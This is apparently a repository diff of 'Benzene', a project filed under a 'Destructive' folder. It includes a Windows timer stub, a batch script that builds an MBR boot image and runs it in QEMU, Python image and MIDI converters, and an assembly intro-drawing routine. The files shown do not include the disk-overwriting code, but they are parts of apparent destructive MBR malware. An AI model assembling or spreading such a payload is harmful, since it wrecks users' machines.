| 1 |
+
#include "benzene.h"
|
| 2 |
+
|
| 3 |
+
VOID
|
| 4 |
+
WINAPI
|
| 5 |
+
TimerThread(
|
| 6 |
+
VOID
|
| 7 |
+
)
|
| 8 |
+
{
|
| 9 |
+
SetTimer( NULL, 0, TIMER_DELAY, ( TIMERPROC )TimerProc );
|
| 10 |
+
|
| 11 |
+
MSG msg;
|
| 12 |
+
while ( GetMessageW( &msg, NULL, 0, 0 ) )
|
| 13 |
+
{
|
| 14 |
+
TranslateMessage( &msg );
|
| 15 |
+
DispatchMessageW( &msg );
|
| 16 |
+
}
|
| 17 |
+
}
|
src/Benzene-main/Destructive/Benzene/threads.h
ADDED
|
@@ -0,0 +1,8 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#pragma once
|
| 2 |
+
#include "benzene.h"
|
| 3 |
+
|
| 4 |
+
VOID
|
| 5 |
+
WINAPI
|
| 6 |
+
TimerThread(
|
| 7 |
+
VOID
|
| 8 |
+
);
|
src/Benzene-main/Destructive/BenzeneMBR/Create.bat
ADDED
|
@@ -0,0 +1,46 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
@echo off
|
| 2 |
+
title Benzene MBR
|
| 3 |
+
color 0a
|
| 4 |
+
|
| 5 |
+
:Check
|
| 6 |
+
if not exist Build md Build >nul
|
| 7 |
+
if exist disk.img goto QEMU
|
| 8 |
+
if exist Build\frames.bin del Build\frames.bin /F /Q >nul
|
| 9 |
+
if exist Build\song.bin del Build\song.bin /F /Q >nul
|
| 10 |
+
if exist Build\special.bin del Build\special.bin /F /Q >nul
|
| 11 |
+
if exist Build\stage2-uncompressed.bin del Build\stage2-uncompressed.bin /F /Q >nul
|
| 12 |
+
if exist Build\stage2-compressed.bin del Build\stage2-compressed.bin /F /Q >nul
|
| 13 |
+
cls
|
| 14 |
+
|
| 15 |
+
|
| 16 |
+
:Start
|
| 17 |
+
Data\Image\png2bin.exe Data\Image\Special\01.png Build\special.bin
|
| 18 |
+
Data\Song\midi2bin.exe Data\Song\midi2bin.mid Build\song.bin
|
| 19 |
+
cd Data\Image\Frames >nul
|
| 20 |
+
if exist 11.png ..\png2bin.exe 00.png 01.png 02.png 03.png 04.png 05.png 06.png 07.png 08.png 09.png 10.png 11.png ..\..\..\Build\frames.bin & goto Next
|
| 21 |
+
if exist 10.png ..\png2bin.exe 00.png 01.png 02.png 03.png 04.png 05.png 06.png 07.png 08.png 09.png 10.png ..\..\..\Build\frames.bin & goto Next
|
| 22 |
+
if exist 09.png ..\png2bin.exe 00.png 01.png 02.png 03.png 04.png 05.png 06.png 07.png 08.png 09.png ..\..\..\Build\frames.bin & goto Next
|
| 23 |
+
if exist 08.png ..\png2bin.exe 00.png 01.png 02.png 03.png 04.png 05.png 06.png 07.png 08.png ..\..\..\Build\frames.bin & goto Next
|
| 24 |
+
if exist 07.png ..\png2bin.exe 00.png 01.png 02.png 03.png 04.png 05.png 06.png 07.png ..\..\..\Build\frames.bin & goto Next
|
| 25 |
+
if exist 06.png ..\png2bin.exe 00.png 01.png 02.png 03.png 04.png 05.png 06.png ..\..\..\Build\frames.bin & goto Next
|
| 26 |
+
if exist 05.png ..\png2bin.exe 00.png 01.png 02.png 03.png 04.png 05.png ..\..\..\Build\frames.bin & goto Next
|
| 27 |
+
if exist 04.png ..\png2bin.exe 00.png 01.png 02.png 03.png 04.png ..\..\..\Build\frames.bin & goto Next
|
| 28 |
+
if exist 03.png ..\png2bin.exe 00.png 01.png 02.png 03.png ..\..\..\Build\frames.bin & goto Next
|
| 29 |
+
if exist 02.png ..\png2bin.exe 00.png 01.png 02.png ..\..\..\Build\frames.bin & goto Next
|
| 30 |
+
if exist 01.png ..\png2bin.exe 00.png 01.png ..\..\..\Build\frames.bin & goto Next
|
| 31 |
+
if exist 00.png ..\png2bin.exe 00.png ..\..\..\Build\frames.bin & goto Next
|
| 32 |
+
|
| 33 |
+
|
| 34 |
+
|
| 35 |
+
:Next
|
| 36 |
+
cd ..\..\Source >nul
|
| 37 |
+
..\..\Programs\nasm.exe -f bin main.asm -o ..\..\Build\stage2-uncompressed.bin
|
| 38 |
+
..\..\Programs\compress.exe ..\..\Build\stage2-uncompressed.bin ..\..\Build\stage2-compressed.bin >nul
|
| 39 |
+
..\..\Programs\nasm.exe -o ..\..\disk.img bootloader.asm
|
| 40 |
+
cd ..\.. >nul
|
| 41 |
+
|
| 42 |
+
|
| 43 |
+
:QEMU
|
| 44 |
+
pause
|
| 45 |
+
Programs\QEMU\qemu -s -soundhw pcspk -fda disk.img
|
| 46 |
+
exit
|
src/Benzene-main/Destructive/BenzeneMBR/Data/Image/png2bin.py
ADDED
|
@@ -0,0 +1,55 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import sys, math, struct, os
|
| 2 |
+
from PIL import Image
|
| 3 |
+
|
| 4 |
+
doscolors = [
|
| 5 |
+
(0x00, 0x00, 0x00), # 0
|
| 6 |
+
(0x00, 0x00, 0xa8), # 1
|
| 7 |
+
(0x00, 0xa8, 0x00), # 2
|
| 8 |
+
(0x00, 0xa8, 0xa8), # 3
|
| 9 |
+
(0xa8, 0x00, 0x00), # 4
|
| 10 |
+
(0xa8, 0x00, 0xa8), # 5
|
| 11 |
+
(0xa8, 0xa8, 0x00), # 6
|
| 12 |
+
(0xa8, 0xa8, 0xa8), # 7
|
| 13 |
+
|
| 14 |
+
(0x54, 0x54, 0x54), # 8
|
| 15 |
+
(0x54, 0x54, 0xff), # 9
|
| 16 |
+
(0x54, 0xff, 0x54), # 10
|
| 17 |
+
(0x54, 0xff, 0xff), # 11
|
| 18 |
+
(0xff, 0x54, 0x54), # 12
|
| 19 |
+
(0xff, 0x54, 0xff), # 13
|
| 20 |
+
(0xff, 0xff, 0x54), # 14
|
| 21 |
+
(0xff, 0xff, 0xff), # 15
|
| 22 |
+
]
|
| 23 |
+
|
| 24 |
+
def color_distance(a, b):
|
| 25 |
+
return math.sqrt( (a[0]-b[0])**2 + (a[1]-b[1])**2 + (a[2]-b[2])**2 )
|
| 26 |
+
|
| 27 |
+
def nearest_color(color):
|
| 28 |
+
nearest = 0
|
| 29 |
+
|
| 30 |
+
for i in range(len(doscolors)):
|
| 31 |
+
if color_distance(color, doscolors[i]) < color_distance(color, doscolors[nearest]):
|
| 32 |
+
nearest = i
|
| 33 |
+
|
| 34 |
+
return nearest
|
| 35 |
+
|
| 36 |
+
buf = ""
|
| 37 |
+
|
| 38 |
+
for imgf in sys.argv[1:-1]:
|
| 39 |
+
img = Image.open(imgf).convert("RGB")
|
| 40 |
+
w, h = img.size
|
| 41 |
+
|
| 42 |
+
for y in xrange(0, h, 2):
|
| 43 |
+
for x in xrange(w):
|
| 44 |
+
b = (nearest_color(img.getpixel((x, y))) << 4)
|
| 45 |
+
|
| 46 |
+
if y < 48 or x >= 0:
|
| 47 |
+
b |= nearest_color(img.getpixel((x, y+1)))
|
| 48 |
+
else:
|
| 49 |
+
b |= 15 if ((b>>4) < 8) else 0
|
| 50 |
+
|
| 51 |
+
buf += chr(b)
|
| 52 |
+
img.close()
|
| 53 |
+
|
| 54 |
+
with open(sys.argv[::-1][0], "wb") as out:
|
| 55 |
+
out.write(buf)
|
src/Benzene-main/Destructive/BenzeneMBR/Data/Song/midi2bin.mid
ADDED
|
Binary file (1.09 kB). View file
|
|
|
src/Benzene-main/Destructive/BenzeneMBR/Data/Song/midi2bin.py
ADDED
|
@@ -0,0 +1,24 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import midi, sys
|
| 2 |
+
|
| 3 |
+
pattern = midi.read_midifile(sys.argv[1])
|
| 4 |
+
|
| 5 |
+
def pitchconv(pitch):
|
| 6 |
+
return int(round(1193180.0 / (2**((pitch-69)/12.0)*440), 0))
|
| 7 |
+
|
| 8 |
+
with open(sys.argv[2], "wb") as out:
|
| 9 |
+
pitches = [pitchconv(event.pitch) for event in pattern[1] if isinstance(event, midi.NoteOnEvent)]
|
| 10 |
+
|
| 11 |
+
b = 0
|
| 12 |
+
d = 0
|
| 13 |
+
|
| 14 |
+
t = 0
|
| 15 |
+
o = -1
|
| 16 |
+
for event in pattern[1]:
|
| 17 |
+
if isinstance(event, midi.NoteOnEvent):
|
| 18 |
+
if event.velocity == 0:
|
| 19 |
+
d += int(round(event.tick/48.0, 0))
|
| 20 |
+
p = pitchconv(event.pitch)
|
| 21 |
+
out.write(chr(p & 0xff) + chr((d - 1) << 5 | p >> 8))
|
| 22 |
+
b = 0
|
| 23 |
+
else:
|
| 24 |
+
d = int(round(event.tick/48.0, 0))
|
src/Benzene-main/Destructive/BenzeneMBR/Data/Song/midi2bin_MEMZ.mid
ADDED
|
Binary file (3.21 kB). View file
|
|
|
src/Benzene-main/Destructive/BenzeneMBR/Data/Source/Animation/Image/drawIntroFrame.asm
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
drawIntroFrame:
|
| 2 |
+
push es
|
| 3 |
+
push 0xb800
|
| 4 |
+
pop es
|
| 5 |
+
|
| 6 |
+
; Increase the frame tick counter to make the intro run faster
|
| 7 |
+
mov byte [frameTickCounter], 5
|
| 8 |
+
|
| 9 |
+
; Check if message is already fully displayed
|
| 10 |
+
cmp si, messageLength
|
| 11 |
+
jae .end
|
| 12 |
+
|
| 13 |
+
mov di, si
|
| 14 |
+
imul di, 2
|
| 15 |
+
|
| 16 |
+
mov byte al, [si+message]
|
| 17 |
+
|
| 18 |
+
mov byte [es:di], al
|
| 19 |
+
mov byte [es:di+1], 0xf0
|
| 20 |
+
|
| 21 |
+
inc si
|
| 22 |
+
mov [frameIndex], si
|
| 23 |
+
|
| 24 |
+
.end:
|
| 25 |
+
pop es
|
| 26 |
+
ret
|